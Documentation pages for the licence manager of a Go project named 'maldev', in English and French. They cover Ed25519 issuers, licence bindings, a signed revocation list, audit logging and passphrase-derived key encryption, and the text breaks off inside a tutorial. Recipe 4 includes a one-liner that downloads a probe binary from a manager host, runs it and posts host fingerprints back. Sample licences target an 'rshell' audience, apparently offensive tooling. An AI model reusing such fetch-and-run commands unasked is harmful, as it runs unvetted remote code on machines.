| Term | Meaning |
|---|---|
| Issuer | A persisted Issuer row holding an Ed25519 key pair, a human name, a key-id, and a status (active / retired). |
| Active issuer | The single issuer whose private key is used to sign newly-issued licences and the CRL. Exactly zero or one row has active = true at any time. |
| Key-id | A short opaque string the operator chooses (e.g. prod-2026-q2). The same string is embedded in every PEM the issuer signs and in the public-key PEM the verifying binary loads. The cryptographic signature does not depend on it — it is a routing label so a binary that trusts multiple issuers can pick the right public key per licence. |
| Retired | An issuer that is no longer the active signer but whose row stays so existing licences still verify. Retired issuers can be deleted only after every licence they signed is gone. |
Where it lives
- Service:
IssuerService - Schema:
schema.Issuer - TUI screen:
screen_issuers.go(tab[3])
Lifecycle
stateDiagram-v2
[*] --> Active: Generate (1st)
Active --> Active: SetActive (no-op)
Active --> Retired: Retire (operator promotes a new key)
Retired --> Active: SetActive (rotate back)
Retired --> [*]: Delete (only when 0 licences reference it)
Operations on the Issuer row are all atomic — every mutating
service method writes the row AND an AuditEvent in the same
SQLite transaction.
| Service method | Audit kind | Notes |
|---|---|---|
Generate(name, keyID, actor) | issuer.create | New random Ed25519 pair, private key wrapped under the KEK. |
Import(name, keyID, privPEM, actor) | issuer.import | Adopt a key that was generated outside the manager (e.g. on another instance). |
SetActive(id, actor) | issuer.set_active | Flips the singleton flag in one transaction (clears all others first). |
Retire(id, actor) (planned) | issuer.retire | Marks status=retired without deleting. |
Delete(id, actor) | issuer.delete | Refuses if any licence references this issuer. Zeroes the wrapped private-key buffer before drop. |
ExportPublic(id) | — | Marshals the public half as MALDEV PUBLIC KEY PEM (with the key-id header). This is the file the verifying binary loads. |
ExportPrivate(id) | — | Marshals the decrypted private half. Treat the bytes as sensitive — anyone with them can sign new licences. |
Why exactly one active issuer
The wizard, CRL publisher, and the re-issue flow all consult the
active issuer when they need to sign something. Allowing two
active rows would force a per-operation key-id choice; instead the
operator promotes a new issuer via SetActive and the old one
becomes retired in the same transaction. Existing licences keep
verifying — verify uses the licence's own key-id to pick the
public key, not the active flag.
How verify picks the public key
The verifying binary loads a Trusted set:
trusted := licensekg.Trusted{
Keys: licensekg.SingleKey(keyID, pubKey),
// …or licensekg.MultiKey for binaries that accept several issuers
}
When licensekg.Verify(pem, trusted) runs, it reads the
key-id field from the PEM header and looks the matching public
key up in trusted.Keys. A missing key-id → fail with a clear
"unknown issuer" error.
Operator marker on the TUI
The active issuer row carries a >> ASCII marker in the
[Issuers] tab and inside the new-licence wizard's identity step.
The marker is ASCII-only so it renders identically across every
terminal/font combo — earlier iterations used ● and ▶ which
some Windows consoles refused to draw, hiding the active row
entirely.
Tested in
examples/license-manager/01-issue-basic/— generates an issuer, signs one licence, exports the public key, verifies round-trip.- Backend tests:
internal/manager/service/issuer_test.gocovers Generate / Import / SetActive / Delete (with the licences-still- reference-it guard).
Bindings
A binding is a piece of evidence the licensed binary must provide at verification time. Every binding stamped into the licence becomes a mandatory check — verify rejects the licence if a single binding is missing or wrong.
Why bindings
A bare licence is just subject + audience + validity signed by
the issuer. Once leaked, anyone with the PEM and a matching
binary can run it. Bindings tie the licence to evidence only the
intended runtime environment can produce — the leaked PEM no
longer suffices.
The three binding kinds
| Kind | What the binary collects at verify | Stamped at issue time |
|---|---|---|
machine | hostid.Composite() of the running host | One or more host-id strings (the licence is OR-bound over the list) |
password | A passphrase typed by the user | Argon2id hash of the password + parameters |
totp | A 6-digit RFC 6238 code generated by an authenticator | The base32 secret (issuer-side only; verify checks the commitment) |
custom:<name> | Arbitrary bytes the binary chooses to feed | A list of accepted byte strings |
A licence may carry any combination. The "all must satisfy" rule is non-negotiable — verify ANDs the bindings, never ORs.
Wire shape (issuer side)
type BindingSpec struct {
Type string // "machine" | "password" | "totp" | "custom:<name>"
Values []string // host ids / password / custom values; "totp" expects 0
Argon *licensekg.BindingParams // optional, only meaningful for "password"
Label string // for TOTP account label
}
LicenseService.Issue translates these into the
licensekg.Binding values the
PEM carries.
Wire shape (verifier side)
The standalone license.Verify
accepts options the binary builds from runtime evidence:
v, err := license.Verify(pem, trusted,
license.WithMachineID(hostid.Composite()),
license.WithPassword(typedByUser),
license.WithTOTPCode(authenticatorCode),
)
Missing options for a stamped binding → fail. Extra options for absent bindings → ignored.
Argon2id parameters
Password bindings carry the Argon2id parameters that produced the stamped hash. This lets the issuer re-tune the cost without breaking existing licences:
| Field | Stamped in | Used at verify |
|---|---|---|
ArgonTime | Binding payload | Re-derive the hash with the same time cost |
ArgonMemory | Binding payload | Same |
ArgonThreads | Binding payload | Same |
ArgonKeyLen | Binding payload | Same |
The Settings screen has three pre-baked profiles (fast / default / paranoid) — see Argon preset (coming). Future licences pick the operator's currently-selected preset; old ones keep verifying with whatever they were stamped with.
TOTP secret handoff
When the wizard adds a totp binding, LicenseService.Issue
returns the plaintext secret in IssuedLicense.TOTPs[i].Secret
exactly once. After that the secret lives only in the KEK-wrapped
column of TOTPSecret. The TUI surfaces it inline in the wizard's
post-issue overlay (QR + URI + 6-digit sanity check) so the
operator can hand it off to the licensee out of band — paper,
1Password share, encrypted channel.
Tested in
examples/license-manager/02-issue-with-bindings/— issues a licence with all three bindings, then runs Verify with full / partial / wrong evidence to prove the AND semantics.examples/license-manager/06-totp-secret/— standalone TOTP issuance + 6-digit code round-trip.
CRL — Certificate Revocation List
The CRL is a signed list of revoked licence UUIDs the manager publishes via
GET /revoked.pem. A deployed binary fetches it at startup (or on a refresh cadence) and rejects any licence whose UUID is on the list — even though the licence's own signature is still valid.
Why a separate list
A licence is signed at issue time and never modified. The "signed PEM" cannot carry "revoked yet?" because revocation is a runtime decision the issuer makes after the licence has shipped. The CRL is the side-channel that lets the issuer say "this UUID is dead" without re-issuing every licence.
Anatomy of a signed CRL
type List struct {
Version int // 1
KeyID string // issuer that signed it
Sequence uint64 // strictly increasing; rejects downgrade
IssuedAt time.Time
ExpiresAt time.Time // refuse to use past this
ServerTime time.Time
Revoked []string // licence UUIDs (canonical, flat)
Entries []Entry // optional metadata: reason, RevokedAt
}
Sign(list, priv) produces the PEM, VerifyBytes(pem, pub, kid)
parses + checks the signature + the freshness invariants.
Manager side: RevokeService
| Method | Role |
|---|---|
Revoke(ctx, id, reason, actor) | Atomic: insert Revocation row + flip License status + audit. |
Unrevoke(ctx, id, actor) | Reverse: drop the Revocation row + flip status active. |
ListRevoked(ctx) | Read-only view used by the Revocation TUI screen. |
PublishSignedList(ctx, validFor) | Build a fresh revoke.List from the current state, sign with the active issuer, return PEM. Cached for validFor/2; invalidated by every Revoke/Unrevoke. |
The HTTP revocation server (internal/manager/httpsrv) calls
PublishSignedList on every GET /revoked.pem request — the
cache means a quiet manager doesn't re-sign on every hit.
Verifier side: license.WithRevocation
A binary in the field consults the CRL via a
revoke.RevocationSource:
src := revoke.HTTPSource("https://manager:8443/revoked.pem", nil)
v, err := license.Verify(pem, trusted,
license.WithRevocation(src, time.Hour, "/var/cache/maldev/crl.pem"),
)
src— where to pull the CRL from.HTTPSource,FileSource,EmbedSource, orMultiSource(tries each in order).refresh— how often the binary will re-fetch.cachePath— optional disk cache so a binary surviving a manager outage keeps the last known CRL. The cache enforces a monotonicSequenceso a downgrade attack via a stale file is rejected.
If the source returns an error AND no usable cache, verify falls
back to the licence-only path (signature OK = accept). That
fail-open behaviour is opinionated — binaries that require
fail-closed should pass WithGracePeriod(0) and inspect the
returned error.
Cache lifecycle
sequenceDiagram
autonumber
participant B as "Binary"
participant Mgr as "license-manager"
participant Cache as "/var/cache/maldev/crl.pem"
B->>Cache: LoadCache(path, pub, kid, now)
Cache-->>B: cached List (or err)
alt cache is fresh
B->>B: List.IsRevoked(licUUID) → verdict
else cache is stale / missing
B->>Mgr: src.Fetch(ctx)
Mgr-->>B: signed PEM
B->>B: revoke.VerifyBytes (sig + sequence + expiry)
B->>Cache: StoreCache(path, pem, seq)
end
Sequence monotonicity is the key safety property: an attacker
that ships an OLD signed CRL (where the licence wasn't revoked
yet) cannot trick the cache into accepting it because the
on-disk file remembers the highest sequence the binary has ever
seen.
Tested in
examples/license-manager/03-revoke-and-crl/— full round-trip: issue → revoke → publish → verify rejects with CRL / accepts without.
Audit chain
Every mutating service method writes the business row AND an
AuditEventin the same SQLite transaction. The audit log is immutable, sequential, and survives every mutation — includingLicense.Deletewhich removes the licence row but keeps thelicense.deleteevent so the forensic trail is intact.
What gets audited
Any state-changing operation. Read-only methods (Get, List,
Inspect, ExportPublic) do NOT generate events — they would
flood the table without adding accountability.
Sample of audited kind values:
kind | Service method | Target |
|---|---|---|
issuer.create | IssuerService.Generate | Issuer.ID |
issuer.import | IssuerService.Import | Issuer.ID |
issuer.set_active | IssuerService.SetActive | Issuer.ID |
issuer.delete | IssuerService.Delete | Issuer.ID |
license.issue | LicenseService.Issue | License.ID |
license.import | LicenseService.Import | License.ID |
license.reissue | LicenseService.ReIssue | License.ID (the new one) |
license.supersede | inside ReIssue (atomic with reissue) | License.ID (the old one, status→superseded) |
license.revoke | RevokeService.Revoke | License.ID |
license.unrevoke | RevokeService.Unrevoke | License.ID |
license.delete | LicenseService.Delete | License.ID |
identity.create | IdentityService.Create | Identity.ID |
identity.regenerate | IdentityService.Regenerate | Identity.ID |
probe.token_created | ProbeService.NewToken | ProbeToken.ID |
probe.result | ProbeService.ConsumeToken | ProbeToken.ID |
Event shape
{
"kind": "license.issue",
"target_kind": "License",
"target_id": "<uuid>",
"actor": "mathieu",
"payload": { "subject": "alice@example.com", "not_after": "2026-12-31T00:00:00Z" },
"created_at": "2026-05-20T14:00:00Z"
}
The actor is the value the caller passes to the service
method. The wizard hardcodes "operator"; CLI examples pass
"demo-operator". Production setups should pass the operator's
real identity (e.g. os.Getenv("USER") + "@" + hostname).
payload is map[string]any — small contextual bag the writer
chooses. Not indexed. Useful for forensic reconstruction (e.g.
revoke audit carries the reason, delete audit keeps the old
UUID/subject/status).
Transactional guarantee
return withTx(ctx, svc.store, func(ctx context.Context, tx *ent.Tx) error {
// 1. business row
row, err := tx.License.Create()...Save(ctx)
if err != nil { return err }
// 2. audit event (same tx → either both land or neither)
return svc.audit.AppendTx(ctx, tx, "license.issue", req.Actor, ...)
})
If either step fails, the SQLite transaction rolls back. There
is no way to issue, revoke, or pivot without a matching audit
event — barring a bypass of svc.* and a direct write to the
DB, which is a different threat-model entirely.
TUI surface
- Audit tab
[9]— chronological view of every event with filters by kind, actor, target. - Licence detail → Audit tab
[A]— the events for one licence only (usesaudit.ListForTarget).
Why deletes keep their audit
LicenseService.Delete removes the licence row + cascades
Revocation + TOTPSecret. The matching license.delete
event keeps license_uuid, subject, and the old status in
its payload so even after the row disappears the forensic
trail says "UUID X for subject Y was active-then-deleted by
operator Z at time T".
Tested in
Every example in
examples/license-manager/
exercises at least one audited operation. The
04-reissue example
specifically demonstrates the supersession chain: the original
licence gets license.supersede, the new one
license.reissue, both in the same transaction.
KEK & passphrase cascade
The operator's passphrase NEVER touches the database. It is derived (Argon2id) into a 32-byte KEK (Key Encryption Key) that lives in process RAM, used to wrap and unwrap sensitive columns via ChaCha20-Poly1305 AEAD. The KEK is zeroed on a clean shutdown.
Why two layers
The passphrase is a human secret; the KEK is a machine secret. Separating them lets the manager:
- Use a slow, memory-hard derivation (Argon2id) once at startup instead of on every column-decrypt operation.
- Rekey the DB by re-wrapping every column under a new KEK, without changing the passphrase — and vice versa.
- Zero the KEK from RAM on exit so a post-mortem memory dump doesn't yield the wrapping key.
Derivation
passphrase + kek_salt (16 bytes, plaintext in Setting)
→ Argon2id(time=3, memory=64 MiB, threads=4, keylen=32)
→ KEK (32 bytes, in RAM only)
Setting.kek_salt is stored in plaintext on purpose — its only
job is to prevent two managers with the same passphrase from
landing on the same KEK. It is unique-per-DB and immutable.
Column wrapping
[12-byte random nonce] || [ciphertext] || [16-byte AEAD tag]
ChaCha20-Poly1305 with a fresh random nonce per column. Catastrophic
if a nonce is reused (key recovery), so every wrap reads from
crypto/rand.Reader.
Wrapped columns:
| Table | Column | Contents |
|---|---|---|
Issuer | encrypted_priv | Ed25519 private key (64 bytes) |
RecipientKey | encrypted_priv | X25519 private key (32 bytes) |
TOTPSecret | encrypted_secret | TOTP secret (base32) |
ServerConfig | revocation_admin_token_enc | Revocation server admin token |
Everything else is plaintext. The reasoning: anything that can be reconstructed from issued licences (subjects, audiences, features) does not need wrapping, and wrapping it would add latency to every query without changing the threat model.
Canary
Setting.kek_canary = KEK.Wrap(random32) is written at DB
creation. On every startup the manager attempts
KEK.Unwrap(canary):
- Success → the passphrase + salt produced the right KEK; carry on.
- Failure (AEAD tag mismatch) → wrong passphrase; the manager prompts again, three attempts then exit.
This is the authentication check — the rest of the DB schema doesn't care whether the KEK is right because the wrapped columns are only unwrapped on demand.
Passphrase cascade at boot
The manager resolves the passphrase in strict order; the first non-empty source wins:
1. flag --passphrase-file <path> → read file, trim whitespace
2. env MALDEV_MGR_PASSPHRASE_FILE → read the file named by the var
3. env MALDEV_MGR_PASSPHRASE → direct value
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. fallback: interactive TUI prompt (masked modal)
CI scripts plug into step 1 or 2; interactive operators land on step 5. The TUI's Settings screen surfaces which step actually resolved (read-only "Cette session a résolu via : …" line) so the operator can audit that automation isn't accidentally falling back to the prompt in headless runs.
Rekey (ChangePassphrase)
SettingsService.ChangePassphrase
runs the rekey in a single SQLite transaction:
- Verify the old passphrase via the canary.
- Derive a NEW KEK from the new passphrase + a fresh
kek_salt. - For every wrapped column: unwrap with old KEK, wrap with new KEK, write back.
- Update
Setting.kek_salt+Setting.kek_canary. - Replace the in-memory KEK +
.Wipe()the old one.
A crash mid-rekey leaves the DB unchanged (transaction rolls back); a crash after commit but before the in-memory swap leaves the next boot with the new passphrase.
Tested in
examples/license-manager/01-issue-basic/and every other example boots a fresh in-memory store, derives a KEK from"demo", and proves the canary check passes — exactly the path a real boot follows minus the passphrase prompt.examples/license-manager/09-import-and-verify/proves a licence verifies without the KEK at all (verify only needs the issuer's PUBLIC key — the KEK protects writes, not reads of the licence PEM itself).
License Manager — Cookbook
Recettes opérationnelles copier-coller. Chaque recette décrit le flux Go côté Services — la TUI expose les mêmes opérations graphiquement dès son implémentation.
Nouveau ? Lis d'abord concepts.md pour le vocabulaire et l'architecture. La Configuration liste les flags et variables d'environnement.
Recettes essentielles :
- Recette 1 — Première utilisation : créer la DB + premier Issuer
- Recette 2 — Émettre une licence simple
- Recette 3 — Émettre avec machine + password + TOTP
Recettes opérationnelles :
- Recette 4 — Fingerprint probe d'une machine distante
- Recette 5 — Révoquer + publier la CRL HTTP
- Recette 6 — Démarrer et arrêter les serveurs HTTP
- Recette 7 — Rotation de clé
- Recette 8 — Importer une licence PEM existante
- Recette 9 — Changer la passphrase de la DB
- Recette 10 — Re-issue d'une licence (remplace une existante)
- Recette 11 — Supprimer une licence (round-trip export/réimport)
Recette 1
Première utilisation : initialiser la DB et créer le premier Issuer.
Au premier lancement, si la DB n'existe pas, le wizard de démarrage s'enclenche. Voici l'équivalent programmatique :
package main
import (
"context"
"log"
"github.com/oioio-space/maldev/internal/manager/crypto"
"github.com/oioio-space/maldev/internal/manager/service"
"github.com/oioio-space/maldev/internal/manager/store"
)
func main() {
ctx := context.Background()
passphrase := "ma-passphrase-secrete"
// 1. Générer un sel KEK et dériver la KEK.
salt, err := crypto.GenerateSalt()
if err != nil {
log.Fatal(err)
}
kek, err := crypto.DeriveFromPassphrase(passphrase, salt, crypto.PresetDefault)
if err != nil {
log.Fatal(err)
}
// 2. Ouvrir (ou créer) la DB — migrations automatiques.
db, err := store.New("/var/lib/maldev/manager.db", kek)
if err != nil {
log.Fatal(err)
}
defer db.Close()
// 3. Construire le bundle de services.
svc := service.New(db, kek)
defer svc.Close()
// 4. Créer le premier Issuer (active=true automatiquement si c'est le seul).
issuer, err := svc.Issuer.Generate(ctx, "Lab EU primary", "k2026-05")
if err != nil {
log.Fatal(err)
}
log.Printf("Issuer créé : %s (kid=%s)", issuer.Name, issuer.KeyID)
}
La DB est prête. La clé privée de l'Issuer est stockée chiffrée (encrypted_priv). La passphrase n'est jamais écrite sur disque.
Recette 2
Émettre une licence simple avec Subject + Audience + durée.
import (
"time"
"github.com/oioio-space/maldev/internal/manager/service"
)
// svc est déjà construit (voir Recette 1).
issued, err := svc.License.Issue(ctx, service.IssueRequest{
IssuerID: issuer.ID,
Subject: "alice@example.com",
AudienceList: []string{"rshell"},
NotBefore: time.Now(),
NotAfter: time.Now().Add(30 * 24 * time.Hour),
})
if err != nil {
log.Fatal(err)
}
// issued.PEM est le blob PEM prêt à être distribué.
log.Printf("Licence : %s\n%s", issued.Row.LicenseUUID, issued.PEM)
Le PEM est stocké dans la DB (License.pem) et peut être réexporté à tout moment via svc.License.ExportPEM(ctx, id).
Recette 3
Émettre avec binding machine + mot de passe + TOTP.
Cette recette combine les trois bindings les plus courants. L'opérateur fournit les fingerprints de la machine autorisée (obtenus via Recette 4 ou hostid.Local() local).
import (
"time"
"github.com/oioio-space/maldev/internal/manager/service"
)
issued, err := svc.License.Issue(ctx, service.IssueRequest{
IssuerID: issuer.ID,
Subject: "bob@example.com",
AudienceList: []string{"rshell"},
NotBefore: time.Now(),
NotAfter: time.Now().Add(90 * 24 * time.Hour),
Bindings: []service.BindingSpec{
{
Type: "machine",
Values: []string{"a1b2c3d4e5f6..."}, // hostid.Local() hex
},
{
Type: "password",
Values: []string{"hunter2"}, // haché Argon2id à l'émission
},
{
Type: "totp", // génère un secret TOTP automatiquement
},
},
Features: []string{"pro"},
})
if err != nil {
log.Fatal(err)
}
// Récupérer les infos de provisioning TOTP (secret, URI, QR).
if len(issued.TOTPs) > 0 {
t := issued.TOTPs[0]
log.Printf("TOTP URI : %s", t.OtpauthURI)
log.Printf("QR ASCII :\n%s", t.QRImageASCII)
}
Le secret TOTP est stocké chiffré dans TOTPSecret.encrypted_secret. Pour le réafficher plus tard :
view, err := svc.TOTP.PrintQRASCII(ctx, issued.Row.ID)
// ou
err = svc.TOTP.ExportQRPNG(ctx, issued.Row.ID, "/tmp/totp.png")
Recette 4
Fingerprint probe : obtenir le hostid d'une machine distante.
Cette recette suppose que le serveur Probe est démarré (voir Recette 6).
import "time"
// 1. Créer un token probe (valide 24h par défaut).
token, err := svc.Probe.NewToken(ctx, "Alice prod box", 24*time.Hour)
if err != nil {
log.Fatal(err)
}
log.Printf("Token : %s", token.ID)
log.Printf("URL de base : https://<manager>:8445/probe/%s", token.ID)
// 2. S'abonner au résultat (channel notifié quand la machine POSTe).
resultCh := svc.Probe.Subscribe(token.ID)
// 3. Afficher le one-liner à copier-coller (aussi disponible via /snippet).
log.Printf(`One-liner Linux/macOS :
URL="https://<manager>:8445/probe/%s"
curl -fsSL "$URL/agent/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')" \
-o /tmp/maldev-probe && chmod +x /tmp/maldev-probe \
&& /tmp/maldev-probe "$URL/result"`, token.ID)
// 4. Attendre le résultat (goroutine ou select avec timeout).
result := <-resultCh
log.Printf("Hostname : %s", result.Hostname)
log.Printf("Local : %s", result.LocalHex)
log.Printf("Composite: %s", result.CompositeHex)
Le résultat est persisté dans ProbeToken (colonnes local_hex, composite_hex, hostname, os, arch, used_at). svc.Probe.History(ctx, 20) liste les 20 derniers résultats.
Recette 5
Révoquer une licence + publier la CRL HTTP.
import "github.com/google/uuid"
licID := uuid.MustParse("73f56081-5cce-4073-9632-...")
// 1. Révoquer dans la DB (status → revoked, Revocation row créée).
err := svc.Revoke.Revoke(ctx, licID, "fin de mission")
if err != nil {
log.Fatal(err)
}
// 2. Générer et afficher la CRL signée (même opération que le serveur HTTP).
crlPEM, err := svc.Revoke.PublishSignedList(ctx)
if err != nil {
log.Fatal(err)
}
log.Printf("CRL:\n%s", crlPEM)
Si le serveur Revocation est démarré, chaque GET /revoked.pem appelle PublishSignedList à la volée — la CRL est toujours fraîche.
Pour annuler une révocation (cas d'erreur) :
err = svc.Revoke.Unrevoke(ctx, licID)
Recette 6
Démarrer et arrêter les serveurs HTTP.
Les serveurs sont configurés via ServerConfig (singleton PK=1). Ils sont tous OFF par défaut.
import (
"context"
"time"
"github.com/oioio-space/maldev/internal/manager/httpsrv"
)
// Construire le Bundle (à faire une fois, après service.New).
bundle := httpsrv.NewBundle(svc)
svc.AttachServers(bundle)
// Configurer les adresses d'écoute.
_, err := svc.Settings.UpdateServerConfig(ctx, func(u *ent.ServerConfigUpdate) {
u.SetRevocationListen(":8443").
SetHeartbeatListen(":8444").
SetProbeListen(":8445")
})
if err != nil {
log.Fatal(err)
}
// Démarrer individuellement.
if err := bundle.Revocation.Start(context.Background()); err != nil {
log.Fatal(err)
}
if err := bundle.Heartbeat.Start(context.Background()); err != nil {
log.Fatal(err)
}
if err := bundle.Probe.Start(context.Background()); err != nil {
log.Fatal(err)
}
// Statut courant.
s := bundle.Revocation.Status()
log.Printf("Revocation: running=%v addr=%s requests=%d", s.Running, s.ListenAddr, s.Requests)
// Arrêt propre (10 s timeout).
bundle.StopAll(10 * time.Second)
Les événements temps-réel (requêtes entrantes, erreurs) sont disponibles via bundle.MergedEvents().
Recette 7
Rotation de clé : générer un nouvel Issuer, le désigner actif, retirer l'ancien.
La rotation ne casse pas les licences existantes : le binaire consommateur charge plusieurs kid dans son Trusted. Seules les nouvelles licences seront signées avec la nouvelle clé.
// 1. Générer le nouvel Issuer (inactive par défaut si un autre est déjà actif).
newIssuer, err := svc.Issuer.Generate(ctx, "Lab EU rotation", "k2026-08")
if err != nil {
log.Fatal(err)
}
// 2. Désigner le nouvel Issuer comme actif.
// L'ancien Issuer perd son flag active=true automatiquement.
err = svc.Issuer.SetActive(ctx, newIssuer.ID)
if err != nil {
log.Fatal(err)
}
// 3. Exporter la nouvelle clé publique pour la distribuer avec les binaires.
pubPEM, err := svc.Issuer.ExportPublic(ctx, newIssuer.ID)
if err != nil {
log.Fatal(err)
}
log.Printf("Nouvelle clé publique :\n%s", pubPEM)
// 4. Retirer l'ancien Issuer (optionnel — signe encore les licences existantes).
oldIssuerID := uuid.MustParse("...")
err = svc.Issuer.Retire(ctx, oldIssuerID)
Issuer.Deleterefuse si des licences ont été signées par cet Issuer. UtiliseRetirepour le marquer inactif sans le supprimer.
Recette 8
Importer une licence PEM existante dans la DB.
Utile si une licence a été émise manuellement via le package license/ ou reçue d'un autre manager.
pemBytes, err := os.ReadFile("/path/to/licence.pem")
if err != nil {
log.Fatal(err)
}
row, err := svc.License.Import(ctx, pemBytes, "licence Alice importée")
if err != nil {
log.Fatal(err)
}
log.Printf("Importée : %s (status=%s)", row.LicenseUUID, row.Status)
La licence est décodée et vérifiée (signature Ed25519) avant insertion. status est mis à active si not_after est dans le futur, expired sinon.
Pour inspecter un PEM sans l'insérer :
lic, err := svc.License.Inspect(pemBytes)
// lic est un *license.License décodé, non inséré en DB.
Recette 9
Changer la passphrase de la DB.
Le changement de passphrase re-dérive la KEK et re-chiffre toutes les colonnes sensibles dans une unique transaction.
err := svc.Settings.ChangePassphrase(ctx, "ancienne-passphrase", "nouvelle-passphrase")
if err != nil {
log.Fatal(err)
}
log.Println("Passphrase mise à jour.")
ChangePassphrase :
- Vérifie l'ancienne passphrase via le canary.
- Génère un nouveau sel KEK.
- Dérive la nouvelle KEK.
- Dans une transaction unique : re-wrap chaque colonne chiffrée + met à jour
Setting.kek_salt+Setting.kek_canary. - Remplace la KEK en mémoire + l'efface.
Si la transaction échoue, la DB reste cohérente avec l'ancienne passphrase.
Recette 10
Re-issue d'une licence (remplace une licence existante).
Re-issue est utilisé pour étendre la durée, modifier les bindings ou mettre à jour le payload d'une licence existante. La licence originale passe en status=superseded et la nouvelle porte replaces_license_id.
import (
"encoding/json"
"github.com/oioio-space/maldev/internal/manager/service"
)
originalID := uuid.MustParse("73f56081-...")
reissued, err := svc.License.ReIssue(ctx, originalID, service.ReIssueOptions{
// Chaque champ non-zéro remplace la valeur héritée de l'original.
// Les champs zéro tombent en cascade sur l'original.
NotAfter: time.Now().Add(180 * 24 * time.Hour),
Features: []string{"pro", "extended"},
Audience: []string{"prod", "staging"},
Payload: json.RawMessage(`{"tier":"gold"}`),
})
if err != nil {
log.Fatal(err)
}
log.Printf("Nouvelle licence : %s", reissued.Row.LicenseUUID)
log.Printf("Remplace : %s", originalID)
L'original est listé dans l'audit avec kind=license.supersede. La chaîne replaces_license_id est navigable via svc.License.Get(ctx, id) (champ Row + Successors dans LicenseDetail).
Côté TUI : [e] sur l'écran Licences ouvre le wizard pré-rempli depuis
l'original (validity, audience, free-fields, payload). Les étapes
identity / recipient / bindings / TOTP sont héritées telles quelles ; les 4
étapes éditables enchaînent step 5 → 6 → review. La pré-fix de cette
session corrige le bug "Ré-émission OK mais nouvelle licence déjà expirée"
causé par NotAfter zéro dans les anciens ReIssueOptions.
Recette 11
Supprimer définitivement une licence (round-trip export/réimport).
License.Delete efface la ligne License et tout ce qui en dépend
(Revocation, TOTPSecret) en une seule transaction. Le but principal est
de libérer le license_uuid (UNIQUE) pour qu'un PEM précédemment exporté
puisse être réimporté sans erreur de doublon — utile pour migrer une licence
entre instances ou pour rejouer une licence de laboratoire effacée par
inadvertance.
// Sauvegarder le PEM avant suppression — la base ne le retient pas.
pem, err := svc.License.ExportPEM(ctx, licID)
if err != nil {
log.Fatal(err)
}
if err := svc.License.Delete(ctx, licID, "operator"); err != nil {
log.Fatal(err)
}
// Le license_uuid est maintenant libre — réimport possible.
row, err := svc.License.Import(ctx, pem, "reimport", "operator")
if err != nil {
log.Fatal(err)
}
log.Printf("Réimporté avec le même UUID: %s", row.LicenseUUID)
Trade-off à connaître : supprimer une licence révoquée la retire aussi
de PublishSignedList. Tout client qui n'a pas encore récupéré la CRL ne
verra jamais la révocation. Pour une licence encore en circulation, garde la
révocation (Recette 5) ; réserve Delete aux licences que tu veux
ré-importer ou qui n'ont jamais quitté le laboratoire.
L'opération est tracée dans l'audit avec kind=license.delete et conserve
license_uuid, subject, et l'ancien status même après la disparition
de la ligne.
Côté TUI : sur l'écran Licences, sélectionne la ligne et presse [D]
(majuscule, cohérent avec [E] exporter). Un confirm overlay rouge
récapitule subject + UUID court avant validation par y ou enter.
La même touche est aussi reliée à Revocation (suppression directe de
la licence sous-jacente, distinct de [x] qui ne fait que la
ré-activer), à Issuers (refuse tant que des licences référencent la
clé — message d'erreur explicite avec le compte) et à TOTP (alias de
[x] pour cohérence inter-écrans).
Issuer.Delete zéroise la clé privée chiffrée en mémoire avant le drop
SQL — la trace audit conserve name + key_id pour la forensique
post-suppression.
Voir aussi
Tutorials
Each tutorial is two things:
- What you do in the TUI — a numbered key sequence.
- The client program — the Go code your binary runs to use the licence the TUI produced.
Each page opens with Objectif / Concepts / Attendu so you know what to expect before pressing a single key.
Read them in order — each builds on the last:
| # | Scenario | Concept introduced | Client API |
|---|---|---|---|
| 01 | Issue a basic licence, verify it | Ed25519 signing, trust chain | license.Verify |
| 02 | Machine + password + TOTP bindings | Evidence AND semantics | WithMachineID, WithPassword, WithTOTPCode |
| 03 | Manager publishes a CRL, client polls it | Live revocation, cache fallback | WithRevocation(HTTPSource) |
| 04 | Hand off a TOTP secret via QR code | Rolling code, clock-skew window | WithTOTPCode |
| 05 | Encrypt a payload to one recipient | X25519 sealed box, per-licensee secret | seal.Open |
Each page ships a CI-tested example so the documented keys + code can't silently drift from reality.
Running them
# Render every tape into docs/.../tutorials/assets/*.gif:
go run ./cmd/tui-gif vhs/tui-gif/tutorial-NN-*.tape
# Run every E2E (drives tape + client together):
go test ./examples/license-manager/tutorials/...
Tutorial 01 — Issue a licence, verify it in your binary
Objectif — produce a signed licence file and run a Go binary that accepts it. Concepts — Ed25519 signature · issuer key ·
license.VerifyAttendu — the client prints[ok] licence verifiedwith the subject; flipping any byte of the PEM makes it exit 1.
In the TUI
2→ Licences screen.n→ open the wizard.- Press
Enterthrough every step (the defaults are fine for this tutorial — no bindings, 1-year validity). - On the last step,
Enteragain to sign. - Cursor lands on the new row. Press
E→ type/tmp/alice.license→Enter. 3→ Issuer keys screen → pressEon the active issuer → type/tmp/issuer.pub→Enter.
You now have two files: the licence PEM and the issuer's public key.

In your program
package main
import (
"log"
"os"
license "github.com/oioio-space/maldev/license"
)
func main() {
licPEM, _ := os.ReadFile("/tmp/alice.license")
pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
pub, kid, _ := license.ParsePublicKey(pubPEM)
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
v, err := license.Verify(licPEM, trusted)
if err != nil {
log.Fatalf("license check failed: %v", err)
}
log.Printf("running for %s (expires %s)", v.Subject, v.NotAfter)
}
That's it. The runnable version is
examples/.../client/main.go,
adds flag parsing.
Test it together
go test ./examples/license-manager/tutorials/01-issue-and-verify
Renders the TUI tape AND runs the client against a real licence.
Tutorial 02 — Bindings (machine + password + TOTP)
Objectif — tie a licence to three independent pieces of evidence so a leaked file is useless without all of them. Concepts — AND semantics ·
WithMachineID·WithPassword·WithTOTPCodeAttendu — client succeeds only when all three evidences match; drop one or change the machine ID → exit 1.
In the TUI
2→ Licences.n→ wizard.- Step 3 (Machine): type
host-alpha→Enter. - Step 5 (Validity):
Enterfor defaults. - Step 6 (FreeFields): type
subject=alice@example.com→Enter. - Step 7 (TOTP): toggle ON →
Enter. - Step 8 (Review):
Enterto sign. - The post-issue overlay shows the TOTP secret and a 6-digit sanity code. Copy both — the secret goes to the licensee out of band.
Eon the licence row → save/tmp/alice.license.3→ Issuers →E→ save/tmp/issuer.pub.
The wizard captures the password evidence inline before
step 8 — type hunter2 when it asks.

In your program
package main
import (
"log"
"os"
license "github.com/oioio-space/maldev/license"
)
func main() {
licPEM, _ := os.ReadFile("/tmp/alice.license")
pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
